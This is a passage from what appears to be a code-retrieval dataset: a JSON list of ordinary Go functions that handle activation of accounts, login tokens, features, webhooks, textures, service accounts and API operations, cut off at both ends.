secret[:len(secret)-padlen]\\n\\tdefault:\\n\\t\\treturn nil, fmt.Errorf(\\\"%v is not a supported encryption scheme\\\", es)\\n\\t}\\n\\n\\treturn secret, nil\\n}\",\n \"func (s *MemStore) Activate(deviceID string, requestID string) (common.Role, error) {\\n\\trole, ok := s.act[requestID]\\n\\tif !ok {\\n\\t\\treturn common.RoleNone, common.ErrorInvalidActivationRequest\\n\\t}\\n\\t// prevent reuse !\\n\\tdelete(s.act, requestID)\\n\\t// Do the actual activation\\n\\ts.did[deviceID] = role\\n\\treturn role, nil\\n}\",\n \"func (a *Ability) Activate(activated bool) {\\n\\ta.m.Lock()\\n\\tdefer a.m.Unlock()\\n\\ta.activated = activated\\n}\",\n \"func (im InputMethod) InstallAndActivateUserAction(uc *useractions.UserContext) action.Action {\\n\\treturn uiauto.UserAction(\\n\\t\\t\\\"Add and activate input method via Chromium API\\\",\\n\\t\\tim.InstallAndActivate(uc.TestAPIConn()),\\n\\t\\tuc, &useractions.UserActionCfg{\\n\\t\\t\\tAttributes: map[string]string{\\n\\t\\t\\t\\tuseractions.AttributeFeature: useractions.FeatureIMEManagement,\\n\\t\\t\\t\\tuseractions.AttributeInputMethod: im.Name,\\n\\t\\t\\t},\\n\\t\\t},\\n\\t)\\n}\",\n \"func (db *Db) ActivateAccount(ctx context.Context, id uint64) (bool, error) {\\n\\tconst operationType = \\\"activate_business_account_db_op\\\"\\n\\tdb.Logger.Info(fmt.Sprintf(\\\"activate business account database operation. id: %d\\\", id))\\n\\n\\ttx := db.activateMerchantAccountTxFunc(id)\\n\\tresult, err := db.Conn.PerformComplexTransaction(ctx, tx)\\n\\tif err != nil {\\n\\t\\treturn false, err\\n\\t}\\n\\n\\topStatus, ok := result.(bool)\\n\\tif !ok {\\n\\t\\treturn false, service_errors.ErrFailedToCastToType\\n\\t}\\n\\n\\treturn opStatus, nil\\n}\",\n \"func (db *DB) ActivateLoginToken(ctx context.Context, token string) (string, error) {\\n\\trow := db.sql.QueryRowContext(ctx, `UPDATE login_tokens\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\tSET (used) = (true)\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\tWHERE token = $1\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\tAND expires_at > now()\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\tAND used = false\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\tRETURNING user_id;`, token)\\n\\n\\tvar userID string\\n\\terr := row.Scan(&userID)\\n\\tif err != nil {\\n\\t\\tif err == sql.ErrNoRows {\\n\\t\\t\\treturn \\\"\\\", errors.New(\\\"token invalid\\\")\\n\\t\\t}\\n\\t\\treturn \\\"\\\", err\\n\\t}\\n\\n\\treturn userID, nil\\n}\",\n \"func Activater(c *gin.Context) {\\n\\tid := stringToUUID(c.Param(\\\"id\\\"))\\n\\tdataBase := database.GetDatabase()\\n\\tinfo, err := dataBase.GetURLByID(id)\\n\\n\\tif err != nil { // if record not found\\n\\t\\thandleDataBaseError(c, err)\\n\\t} else {\\n\\t\\tmonitor := mt.GetMonitor()\\n\\t\\tif info.Crawling == false { // if url was Inactivated\\n\\t\\t\\tinfo.Crawling = true\\n\\t\\t\\tinfo.FailureCount = 0\\n\\t\\t\\tinfo.Status = \\\"active\\\"\\n\\t\\t\\terr := dataBase.UpdateDatabase(info)\\n\\t\\t\\tif err != nil { //database update fails\\n\\t\\t\\t\\thandleDataBaseError(c, err)\\n\\t\\t\\t} else {\\n\\t\\t\\t\\tmonitor.StartMonitoring(info) //start Monitoring\\n\\t\\t\\t\\tc.String(http.StatusOK, \\\"Activated \\\")\\n\\t\\t\\t}\\n\\t\\t} else { // else error already activated\\n\\t\\t\\tmsg := fmt.Sprintf(\\\"Error!!!!! Already activated \\\")\\n\\t\\t\\tc.String(http.StatusNotAcceptable, msg)\\n\\t\\t}\\n\\t}\\n}\",\n \"func (db *DB) ActiveUserFromKey(ctx context.Context, key string) (string, error) {\\n\\trow := db.sql.QueryRowContext(ctx, `SELECT user_id \\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\tFROM sessions \\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\tWHERE key = $1\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\tAND active = true;`, key)\\n\\n\\tvar userID string\\n\\terr := row.Scan(&userID)\\n\\tif err != nil {\\n\\t\\treturn \\\"\\\", err\\n\\t}\\n\\n\\treturn userID, nil\\n}\",\n \"func (h Handler) Activate(ctx context.Context, request *proto.Identifier) (*proto.Message, error) {\\n\\terr := h.meta.SetStatus(ctx, request.UserID, verified)\\n\\terr = errors.Wrap(err, \\\"Error while changing status\\\")\\n\\treturn &proto.Message{}, err\\n}\",\n \"func Activate(sessionID int64, deployment DeploymentOptions) error {\\n\\tif deployment.IsCloud() {\\n\\t\\treturn fmt.Errorf(\\\"activate is not supported with %s target\\\", deployment.Target.Type())\\n\\t}\\n\\tu, err := deployment.url(fmt.Sprintf(\\\"/application/v2/tenant/default/session/%d/active\\\", sessionID))\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\treq, err := http.NewRequest(\\\"PUT\\\", u.String(), nil)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tserviceDescription := \\\"Deploy service\\\"\\n\\tresponse, err := deployment.HTTPClient.Do(req, time.Second*30)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tdefer response.Body.Close()\\n\\treturn checkResponse(req, response, serviceDescription)\\n}\",\n \"func VerifyUserAccount(c *gin.Context) {\\n\\n\\tverificationToken := c.Param(\\\"token\\\")\\n\\n\\tvar item models.User\\n\\n\\tif config.DB.First(&item, \\\"verification_token = ?\\\", verificationToken).RecordNotFound() {\\n\\t\\tc.JSON(404, gin.H{\\n\\t\\t\\t\\\"status\\\": \\\"error\\\",\\n\\t\\t\\t\\\"message\\\": \\\"record not found\\\"})\\n\\t\\tc.Abort()\\n\\t\\treturn\\n\\t}\\n\\n\\tconfig.DB.Model(&item).Where(\\\"id = ?\\\", item.ID).Updates(models.User{\\n\\t\\tIsActivate: true,\\n\\t})\\n\\n\\tc.JSON(200, gin.H{\\n\\t\\t\\\"status\\\": \\\"Success, your account is now active. Please Login to your account\\\",\\n\\t\\t\\\"data\\\": item,\\n\\t})\\n}\",\n \"func (p *ProcessDefinition) ActivateOrSuspendByKey(req ReqActivateOrSuspendByKey) error {\\n\\treturn p.client.doPutJson(\\\"/process-definition/suspended\\\", map[string]string{}, &req)\\n}\",\n \"func ActivateTrial() int {\\n\\tstatus := C.ActivateTrial()\\n\\treturn int(status)\\n}\",\n \"func (l *Lookup) Activate(profileID string) error {\\n\\t// apiVersion is not initialized, run a quick tasting\\n\\tif l.apiVersion == proto.ProtocolInvalid {\\n\\t\\tl.taste(true)\\n\\t}\\n\\n\\tswitch l.apiVersion {\\n\\tcase proto.ProtocolTwo:\\n\\t\\treturn l.v2ActivateProfile(profileID)\\n\\t}\\n\\n\\treturn ErrProtocol\\n}\",\n \"func (c *cloudChannelRESTClient) ActivateEntitlementOperation(name string) *ActivateEntitlementOperation {\\n\\toverride := fmt.Sprintf(\\\"/v1/%s\\\", name)\\n\\treturn &ActivateEntitlementOperation{\\n\\t\\tlro: longrunning.InternalNewOperation(*c.LROClient, &longrunningpb.Operation{Name: name}),\\n\\t\\tpollPath: override,\\n\\t}\\n}\",\n \"func TestActivateAsRobotUser(t *testing.T) {\\n\\tif testing.Short() {\\n\\t\\tt.Skip(\\\"Skipping integration tests in short mode\\\")\\n\\t}\\n\\tdeleteAll(t)\\n\\n\\tclient := seedClient.WithCtx(context.Background())\\n\\tresp, err := client.Activate(client.Ctx(), &auth.ActivateRequest{\\n\\t\\tSubject: \\\"robot:deckard\\\",\\n\\t})\\n\\trequire.NoError(t, err)\\n\\tclient.SetAuthToken(resp.PachToken)\\n\\twhoAmI, err := client.WhoAmI(client.Ctx(), &auth.WhoAmIRequest{})\\n\\trequire.NoError(t, err)\\n\\trequire.Equal(t, \\\"robot:deckard\\\", whoAmI.Username)\\n\\n\\t// Make sure the robot token has no TTL\\n\\trequire.Equal(t, int64(-1), whoAmI.TTL)\\n\\n\\t// Make \\\"admin\\\" an admin, so that auth can be deactivated\\n\\tclient.ModifyAdmins(client.Ctx(), &auth.ModifyAdminsRequest{\\n\\t\\tAdd: []string{\\\"admin\\\"},\\n\\t\\tRemove: []string{\\\"robot:deckard\\\"},\\n\\t})\\n}\",\n \"func GetActivationCode(input *User) (*User, error) {\\n\\tuser := getUserByEmail(input.Email)\\n\\n\\tif user == nil {\\n\\t\\treturn nil, fmt.Errorf(\\\"Invalid email.\\\")\\n\\t} else if user.ActivationCode == nil {\\n\\t\\treturn nil, fmt.Errorf(\\\"User has already been activated.\\\")\\n\\t}\\n\\n\\treturn user, nil\\n}\",\n \"func (f *FeatureGateClient) setActivated(ctx context.Context, gate *corev1alpha2.FeatureGate, featureName string) error {\\n\\tfor i := range gate.Spec.Features {\\n\\t\\tif gate.Spec.Features[i].Name == featureName {\\n\\t\\t\\tgate.Spec.Features[i].Activate = true\\n\\t\\t\\treturn f.crClient.Update(ctx, gate)\\n\\t\\t}\\n\\t}\\n\\treturn fmt.Errorf(\\\"could not activate Feature %s as it was not found in FeatureGate %s: %w\\\", featureName, gate.Name, ErrTypeNotFound)\\n}\",\n \"func (m *Mailer) SendUserActivatedMail(email string) error {\\n\\treturn m.act.Do(email, m.cnt.GetUserActivatedMail())\\n}\",\n \"func (im InputMethod) Activate(tconn *chrome.TestConn) action.Action {\\n\\tf := func(ctx context.Context, fullyQualifiedIMEID string) error {\\n\\t\\tactiveIME, err := ActiveInputMethod(ctx, tconn)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn errors.Wrap(err, \\\"failed to get active input method\\\")\\n\\t\\t}\\n\\t\\tif activeIME.Equal(im) {\\n\\t\\t\\treturn nil\\n\\t\\t}\\n\\n\\t\\tif err := tconn.Call(ctx, nil, `chrome.inputMethodPrivate.setCurrentInputMethod`, fullyQualifiedIMEID); err != nil {\\n\\t\\t\\treturn errors.Wrapf(err, \\\"failed to set current input method to %q\\\", fullyQualifiedIMEID)\\n\\t\\t}\\n\\t\\treturn im.WaitUntilActivated(tconn)(ctx)\\n\\t}\\n\\treturn im.actionWithFullyQualifiedID(tconn, f)\\n}\",\n \"func (o *signalHandler) Activate(activation Activation) error {\\n\\to.serviceID = activation.ServiceID\\n\\to.objectID = activation.ObjectID\\n\\treturn nil\\n}\",\n \"func (o *signalHandler) Activate(activation Activation) error {\\n\\to.serviceID = activation.ServiceID\\n\\to.objectID = activation.ObjectID\\n\\treturn nil\\n}\",\n \"func inactivateWorkItem(item WorkItem, request IDSRequest) {\\n\\tvalue := workItemMap[item.ID]\\n\\tvalue.Active = false\\n\\t//value.TimesCoded++\\n\\tworkItemMap[item.ID] = value\\n\\tworkDB.persistWorkItem(value)\\n\\n\\t// update the User's WorkItem list on disk\\n\\tuser, getUsrError := labsDB.getUser(request.LabKey, request.Username)\\n\\tif getUsrError != nil {\\n\\t\\treturn\\n\\t}\\n\\tuser.inactivateWorkItem(value)\\n\\tlabsDB.setUser(user)\\n}\",\n \"func (n *Neuron) Activate(x float32, training bool) float32 {\\r\\n\\treturn GetActivation(n.A).F(x, training)\\r\\n}\",\n \"func (h *JwtHandler) UpdateActivationJWT(w http.ResponseWriter, r *http.Request, params httprouter.Params) {\\n\\tactStore, ok := h.jwtStore.(store.JWTActivationStore)\\n\\tif !ok {\\n\\t\\th.sendErrorResponse(http.StatusBadRequest, \\\"activations are not supported\\\", \\\"\\\", nil, w)\\n\\t\\treturn\\n\\t}\\n\\n\\ttheJWT, err := io.ReadAll(r.Body)\\n\\tdefer r.Body.Close()\\n\\tif err != nil {\\n\\t\\th.sendErrorResponse(http.StatusBadRequest, \\\"bad activation JWT in request\\\", \\\"\\\", err, w)\\n\\t\\treturn\\n\\t}\\n\\n\\tclaim, err := jwt.DecodeActivationClaims(string(theJWT))\\n\\n\\tif err != nil || claim == nil {\\n\\t\\th.sendErrorResponse(http.StatusBadRequest, \\\"bad activation JWT in request\\\", \\\"\\\", err, w)\\n\\t\\treturn\\n\\t}\\n\\n\\tif !nkeys.IsValidPublicOperatorKey(claim.Issuer) && !nkeys.IsValidPublicAccountKey(claim.Issuer) {\\n\\t\\th.sendErrorResponse(http.StatusBadRequest, \\\"bad activation JWT Issuer in request\\\", claim.Issuer, err, w)\\n\\t\\treturn\\n\\t}\\n\\n\\tif !nkeys.IsValidPublicAccountKey(claim.Subject) {\\n\\t\\th.sendErrorResponse(http.StatusBadRequest, \\\"bad activation JWT Subject in request\\\", claim.Subject, err, w)\\n\\t\\treturn\\n\\t}\\n\\n\\thash, err := claim.HashID()\\n\\n\\tif err != nil {\\n\\t\\th.sendErrorResponse(http.StatusBadRequest, \\\"bad activation hash in request\\\", claim.Issuer, err, w)\\n\\t\\treturn\\n\\t}\\n\\n\\tif err := actStore.SaveAct(hash, string(theJWT)); err != nil {\\n\\t\\th.sendErrorResponse(http.StatusInternalServerError, \\\"error saving activation JWT\\\", claim.Issuer, err, w)\\n\\t\\treturn\\n\\t}\\n\\n\\tif h.sendActivationNotification != nil {\\n\\t\\tif err := h.sendActivationNotification(hash, claim.Issuer, theJWT); err != nil {\\n\\t\\t\\th.sendErrorResponse(http.StatusInternalServerError, \\\"error saving activation JWT\\\", claim.Issuer, err, w)\\n\\t\\t\\treturn\\n\\t\\t}\\n\\t}\\n\\n\\t// hash insures that exports has len > 0\\n\\th.logger.Noticef(\\\"updated activation JWT - %s-%s - %q\\\",\\n\\t\\tShortKey(claim.Issuer), ShortKey(claim.Subject), claim.ImportSubject)\\n\\tw.WriteHeader(http.StatusOK)\\n}\",\n \"func (c *cloudChannelGRPCClient) ActivateEntitlementOperation(name string) *ActivateEntitlementOperation {\\n\\treturn &ActivateEntitlementOperation{\\n\\t\\tlro: longrunning.InternalNewOperation(*c.LROClient, &longrunningpb.Operation{Name: name}),\\n\\t}\\n}\",\n \"func (r *NucypherAccountRepository) Deactivate(updatedBy string, accountID int, now time.Time) error {\\n\\n\\t_, err := r.store.db.Exec(`UPDATE nucypher_accounts \\n\\tSET is_active=false, updated_by=$1, updated_at=$3 \\n\\tWHERE (created_by=$1 AND account_id=$2)`,\\n\\t\\tupdatedBy,\\n\\t\\taccountID,\\n\\t\\tnow,\\n\\t)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\treturn nil\\n\\n}\",\n \"func WithActivation(activateAfter *time.Time) SecretOption {\\n\\treturn func(op *Options) {\\n\\t\\top.Activates = activateAfter\\n\\t}\\n}\",\n \"func SendActivateEmailMail(c *macaron.Context, u *models.User, email *models.EmailAddress) {\\n\\tdata := ComposeTplData(u)\\n\\tdata[\\\"Code\\\"] = u.GenerateEmailActivateCode(email.Email)\\n\\tdata[\\\"Email\\\"] = email.Email\\n\\tbody, err := c.HTMLString(string(AUTH_ACTIVATE_EMAIL), data)\\n\\tif err != nil {\\n\\t\\tlog.Error(4, \\\"HTMLString: %v\\\", err)\\n\\t\\treturn\\n\\t}\\n\\n\\tmsg := NewMessage([]string{email.Email}, c.Tr(\\\"mail.activate_email\\\"), body)\\n\\tmsg.Info = fmt.Sprintf(\\\"UID: %d, activate email\\\", u.Id)\\n\\n\\tSendAsync(msg)\\n}\",\n \"func (c *CloudChannelClient) ActivateEntitlementOperation(name string) *ActivateEntitlementOperation {\\n\\treturn c.internalClient.ActivateEntitlementOperation(name)\\n}\",\n \"func (u *User) Enable(c echo.Context, userid string, active bool) error {\\n\\treturn u.udb.Enable(u.db, u.ce, userid, active)\\n}\",\n \"func UpdateActivation(buildId string, active bool, caller string) error {\\n\\tvar err error\\n\\tif !active && (evergreen.IsSystemActivator(caller)) {\\n\\t\\t_, err = UpdateAllBuilds(\\n\\t\\t\\tbson.M{IdKey: buildId,\\n\\t\\t\\t\\tActivatedByKey: caller,\\n\\t\\t\\t},\\n\\t\\t\\tbson.M{\\n\\t\\t\\t\\t\\\"$set\\\": bson.M{\\n\\t\\t\\t\\t\\tActivatedKey: active,\\n\\t\\t\\t\\t\\tActivatedTimeKey: time.Now(),\\n\\t\\t\\t\\t\\tActivatedByKey: caller,\\n\\t\\t\\t\\t},\\n\\t\\t\\t},\\n\\t\\t)\\n\\t} else {\\n\\t\\t_, err = UpdateAllBuilds(\\n\\t\\t\\tbson.M{IdKey: buildId},\\n\\t\\t\\tbson.M{\\n\\t\\t\\t\\t\\\"$set\\\": bson.M{\\n\\t\\t\\t\\t\\tActivatedKey: active,\\n\\t\\t\\t\\t\\tActivatedTimeKey: time.Now(),\\n\\t\\t\\t\\t\\tActivatedByKey: caller,\\n\\t\\t\\t\\t},\\n\\t\\t\\t},\\n\\t\\t)\\n\\t}\\n\\treturn err\\n\\n}\",\n \"func (group *ClientGroup) activate() {\\n\\tgroup.mutex.Lock()\\n\\tdefer group.mutex.Unlock()\\n\\tgroup.active++\\n}\",\n \"func (tx *TextureBase) Activate(sc *Scene, texNo int) {\\n\\tif tx.Tex != nil {\\n\\t\\ttx.Tex.SetBotZero(tx.Bot0)\\n\\t\\ttx.Tex.Activate(texNo)\\n\\t}\\n}\",\n \"func (r *SubscriptionsService) Activate(customerId string, subscriptionId string) *SubscriptionsActivateCall {\\n\\treturn &SubscriptionsActivateCall{\\n\\t\\ts: r.s,\\n\\t\\tcustomerId: customerId,\\n\\t\\tsubscriptionId: subscriptionId,\\n\\t\\tcaller_: googleapi.JSONCall{},\\n\\t\\tparams_: make(map[string][]string),\\n\\t\\tpathTemplate_: \\\"customers/{customerId}/subscriptions/{subscriptionId}/activate\\\",\\n\\t\\tcontext_: googleapi.NoContext,\\n\\t}\\n}\",\n \"func ActivateServiceAccount(serviceAccount string) error {\\n\\t_, err := util.ShellSilent(\\n\\t\\t\\\"gcloud auth activate-service-account --key-file=%s\\\",\\n\\t\\tserviceAccount)\\n\\treturn err\\n}\",\n \"func (c *config) Activate(u *model.User, r *model.Repo, link string) error {\\n\\trawurl, err := url.Parse(link)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tc.Deactivate(u, r, link)\\n\\n\\treturn c.newClient(u).CreateHook(r.Owner, r.Name, &internal.Hook{\\n\\t\\tActive: true,\\n\\t\\tDesc: rawurl.Host,\\n\\t\\tEvents: []string{\\\"repo:push\\\"},\\n\\t\\tUrl: link,\\n\\t})\\n}\",\n \"func (tx *TextureFile) Activate(sc *Scene, texNo int) {\\n\\tif tx.Tex == nil {\\n\\t\\ttx.Init(sc)\\n\\t}\\n\\ttx.Tex.SetBotZero(tx.Bot0)\\n\\ttx.Tex.Activate(texNo)\\n}\",\n \"func (g *Gini) ActivateWith(act z.Lit) {\\n\\tg.xo.ActivateWith(act)\\n}\",\n \"func (v *VirtualEnvironment) Activate() *failures.Failure {\\n\\tlogging.Debug(\\\"Activating Virtual Environment\\\")\\n\\n\\tactiveProject := os.Getenv(constants.ActivatedStateEnvVarName)\\n\\tif activeProject != \\\"\\\" {\\n\\t\\treturn FailAlreadyActive.New(\\\"err_already_active\\\", v.project.Owner()+\\\"/\\\"+v.project.Name())\\n\\t}\\n\\n\\tif strings.ToLower(os.Getenv(constants.DisableRuntime)) != \\\"true\\\" {\\n\\t\\tif failure := v.activateRuntime(); failure != nil {\\n\\t\\t\\treturn failure\\n\\t\\t}\\n\\t}\\n\\n\\treturn nil\\n}\",\n \"func ActivateVersion(c *cli.Context) error {\\n\\t// get version string\\n\\tvstr, err := getVersionString(c)\\n\\tif err == errNoVersionString {\\n\\t\\treturn ListInstalled(c)\\n\\t} else if err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tlogger.Debugf(\\\"specified version: %s\\\", vstr)\\n\\n\\t// is is installed?\\n\\tinstalledVersions, err := GetInstalledVersions()\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tif !stringContains(installedVersions, vstr) {\\n\\t\\tlogger.Infof(\\\"version %s not installed, installing...\\\", vstr)\\n\\t\\tif err = InstallPythonVersion(vstr, false); err != nil {\\n\\t\\t\\treturn err\\n\\t\\t}\\n\\t}\\n\\n\\t// activate it\\n\\tif err := ActivatePythonVersion(vstr); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tfmt.Println(\\\"activated\\\", vstr)\\n\\treturn nil\\n}\",\n \"func (g *GitLab) Activate(ctx context.Context, user *model.User, repo *model.Repo, link string) error {\\n\\tclient, err := newClient(g.url, user.Token, g.SkipVerify)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\t_repo, err := g.getProject(ctx, client, repo.Owner, repo.Name)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\ttoken, webURL, err := g.getTokenAndWebURL(link)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tif len(token) == 0 {\\n\\t\\treturn fmt.Errorf(\\\"no token found\\\")\\n\\t}\\n\\n\\t_, _, err = client.Projects.AddProjectHook(_repo.ID, &gitlab.AddProjectHookOptions{\\n\\t\\tURL: gitlab.String(webURL),\\n\\t\\tToken: gitlab.String(token),\\n\\t\\tPushEvents: gitlab.Bool(true),\\n\\t\\tTagPushEvents: gitlab.Bool(true),\\n\\t\\tMergeRequestsEvents: gitlab.Bool(true),\\n\\t\\tDeploymentEvents: gitlab.Bool(true),\\n\\t\\tEnableSSLVerification: gitlab.Bool(!g.SkipVerify),\\n\\t}, gitlab.WithContext(ctx))\\n\\n\\treturn err\\n}\",\n \"func (auth Authenticate) ActivateDevice(session *types.Session, deviceInfo *types.Device) error {\\n\\t//Make sure session of the request is valid\\n\\taccount, err := auth.getAccountSession(session)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\terr = manager.DeviceManager{}.ActivateDevice(account, deviceInfo, auth.DB, auth.Cache)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\treturn nil\\n}\",\n \"func (p *Patch) SetActivation(activated bool) error {\\n\\tp.Activated = activated\\n\\treturn UpdateOne(\\n\\t\\tbson.M{IdKey: p.Id},\\n\\t\\tbson.M{\\n\\t\\t\\t\\\"$set\\\": bson.M{\\n\\t\\t\\t\\tActivatedKey: activated,\\n\\t\\t\\t},\\n\\t\\t},\\n\\t)\\n}\",\n \"func (p *Patch) SetActivation(activated bool) error {\\n\\tp.Activated = activated\\n\\treturn UpdateOne(\\n\\t\\tbson.M{IdKey: p.Id},\\n\\t\\tbson.M{\\n\\t\\t\\t\\\"$set\\\": bson.M{\\n\\t\\t\\t\\tActivatedKey: activated,\\n\\t\\t\\t},\\n\\t\\t},\\n\\t)\\n}\",\n \"func TestActivate(t *testing.T) {\\n\\tif testing.Short() {\\n\\t\\tt.Skip(\\\"Skipping integration tests in short mode\\\")\\n\\t}\\n\\t// Get anonymous client (this will activate auth, which is about to be\\n\\t// deactivated, but it also activates Pacyderm enterprise, which is needed for\\n\\t// this test to pass)\\n\\tc := getPachClient(t, \\\"\\\")\\n\\n\\t// Deactivate auth (if it's activated)\\n\\trequire.NoError(t, func() error {\\n\\t\\tadminClient := &client.APIClient{}\\n\\t\\t*adminClient = *c\\n\\t\\tresp, err := adminClient.Authenticate(adminClient.Ctx(),\\n\\t\\t\\t&auth.AuthenticateRequest{GitHubToken: \\\"admin\\\"})\\n\\t\\tif err != nil {\\n\\t\\t\\tif auth.IsErrNotActivated(err) {\\n\\t\\t\\t\\treturn nil\\n\\t\\t\\t}\\n\\t\\t\\treturn err\\n\\t\\t}\\n\\t\\tadminClient.SetAuthToken(resp.PachToken)\\n\\t\\t_, err = adminClient.Deactivate(adminClient.Ctx(), &auth.DeactivateRequest{})\\n\\t\\treturn err\\n\\t}())\\n\\n\\t// Activate auth\\n\\tresp, err := c.AuthAPIClient.Activate(c.Ctx(), &auth.ActivateRequest{GitHubToken: \\\"admin\\\"})\\n\\trequire.NoError(t, err)\\n\\tc.SetAuthToken(resp.PachToken)\\n\\n\\t// Check that the token 'c' received from PachD authenticates them as \\\"admin\\\"\\n\\twho, err := c.WhoAmI(c.Ctx(), &auth.WhoAmIRequest{})\\n\\trequire.NoError(t, err)\\n\\trequire.True(t, who.IsAdmin)\\n\\trequire.Equal(t, admin, who.Username)\\n}\",\n \"func ActivateVersion(version, service string, client *fastly.Client) {\\n\\tv, err := strconv.Atoi(version)\\n\\tif err != nil {\\n\\t\\tfmt.Println(err)\\n\\t\\tcommon.Failure()\\n\\t}\\n\\n\\t_, err = client.ActivateVersion(&fastly.ActivateVersionInput{\\n\\t\\tService: service,\\n\\t\\tVersion: v,\\n\\t})\\n\\tif err != nil {\\n\\t\\tfmt.Printf(\\\"\\\\nThere was a problem activating version %s\\\\n\\\\n%s\\\", common.Yellow(version), common.Red(err))\\n\\t\\tcommon.Failure()\\n\\t}\\n\\n\\tfmt.Printf(\\\"\\\\nService '%s' now has version '%s' activated\\\\n\\\\n\\\", common.Yellow(service), common.Green(version))\\n}\",\n \"func EncodeActivateRequest(ctx context.Context, v interface{}, md *metadata.MD) (interface{}, error) {\\n\\tpayload, ok := v.(*usermethod.ActivatePayload)\\n\\tif !ok {\\n\\t\\treturn nil, goagrpc.ErrInvalidType(\\\"userMethod\\\", \\\"activate\\\", \\\"*usermethod.ActivatePayload\\\", v)\\n\\t}\\n\\treturn NewActivateRequest(payload), nil\\n}\",\n \"func (r *resetActivationUserInteractor) Execute(ctx context.Context, req InportRequest) (*InportResponse, error) {\\n\\n\\tres := &InportResponse{}\\n\\tmail := &service.BuildMailServiceResponse{}\\n\\n\\terr := repository.ReadOnly(ctx, r.outport, func(ctx context.Context) error {\\n\\t\\tuserObj, err := r.outport.FindUserByID(ctx, req.ID)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn apperror.ObjectNotFound.Var(userObj)\\n\\t\\t}\\n\\t\\tif userObj.ActivatedAt.Valid {\\n\\t\\t\\treturn apperror.UserIsAlreadyActivated\\n\\t\\t}\\n\\n\\t\\tRDBkey := userObj.RDBKeyForgotPassword()\\n\\t\\tRDBvalue := r.outport.GenerateRandomString(ctx)\\n\\n\\t\\terr = r.outport.RDBSet(ctx, RDBkey, RDBvalue, time.Hour*72)\\n\\t\\tif err != nil {\\n\\t\\t\\tlog.Error(ctx, err.Error())\\n\\t\\t}\\n\\n\\t\\tmail = r.outport.BuildMailActivationAccount(ctx, service.BuildMailActivationAccountServiceRequest{\\n\\t\\t\\tID: userObj.ID,\\n\\t\\t\\tTo: userObj.Email,\\n\\t\\t\\tName: userObj.Name,\\n\\t\\t\\tActivationToken: RDBvalue,\\n\\t\\t})\\n\\n\\t\\treturn nil\\n\\t})\\n\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\tgo r.outport.SendMail(ctx, service.SendMailServiceRequest{\\n\\t\\tTo: mail.To,\\n\\t\\tSubject: mail.Subject,\\n\\t\\tBody: mail.Body,\\n\\t})\\n\\n\\treturn res, nil\\n}\",\n \"func (prov *Provisioner) notifyActivation(resourceId string) error {\\n\\tconn, cerr := persistence.DefaultSession()\\n\\tif cerr != nil {\\n\\t\\tlog.Errorf(\\\"[res %s] Error in getting connection :%v\\\", resourceId, cerr)\\n\\t\\treturn cerr\\n\\t}\\n\\t//find the asset request for this notification\\n\\tar, err := conn.Find(bson.M{\\\"resourceid\\\": resourceId})\\n\\tdefer conn.Close()\\n\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tif ar.Status == persistence.RequestFulfilled {\\n\\t\\tlog.Errorf(\\\"[res %s] Resource already fullfilled\\\", resourceId)\\n\\t\\treturn fmt.Errorf(\\\"Resource is %s already full filled\\\", resourceId)\\n\\t}\\n\\tconn.Update(ar)\\n\\n\\tif err = prov.activateVertexResource(resourceId); err != nil {\\n\\t\\t//TODO This needs to be fixed, what is the correct status\\n\\t\\tar.Status = persistence.RequestRetry\\n\\t\\tconn.Update(ar)\\n\\t\\treturn err\\n\\t}\\n\\n\\tlog.Debugf(\\\"[res %s] Successfully activated resource\\\", resourceId)\\n\\tar.Status = persistence.RequestFulfilled\\n\\tif ar.Remediation {\\n\\t\\tar.Remediation = false\\n\\t}\\n\\tar.Remediation = false\\n\\tconn.Update(ar)\\n\\treturn nil\\n}\",\n \"func (g *GitStatusWidget) Activate() {\\n\\tg.setKeyBindings()\\n\\tg.renderer.Activate()\\n}\",\n \"func (a *QuickConnectApiService) Activate(ctx _context.Context) (*_nethttp.Response, error) {\\n\\tvar (\\n\\t\\tlocalVarHTTPMethod = _nethttp.MethodPost\\n\\t\\tlocalVarPostBody interface{}\\n\\t\\tlocalVarFormFileName string\\n\\t\\tlocalVarFileName string\\n\\t\\tlocalVarFileBytes []byte\\n\\t)\\n\\n\\t// create path and map variables\\n\\tlocalVarPath := a.client.cfg.BasePath + \\\"/QuickConnect/Activate\\\"\\n\\tlocalVarHeaderParams := make(map[string]string)\\n\\tlocalVarQueryParams := _neturl.Values{}\\n\\tlocalVarFormParams := _neturl.Values{}\\n\\n\\t// to determine the Content-Type header\\n\\tlocalVarHTTPContentTypes := []string{}\\n\\n\\t// set Content-Type header\\n\\tlocalVarHTTPContentType := selectHeaderContentType(localVarHTTPContentTypes)\\n\\tif localVarHTTPContentType != \\\"\\\" {\\n\\t\\tlocalVarHeaderParams[\\\"Content-Type\\\"] = localVarHTTPContentType\\n\\t}\\n\\n\\t// to determine the Accept header\\n\\tlocalVarHTTPHeaderAccepts := []string{\\\"application/json\\\", \\\"application/json; profile=CamelCase\\\", \\\"application/json; profile=PascalCase\\\"}\\n\\n\\t// set Accept header\\n\\tlocalVarHTTPHeaderAccept := selectHeaderAccept(localVarHTTPHeaderAccepts)\\n\\tif localVarHTTPHeaderAccept != 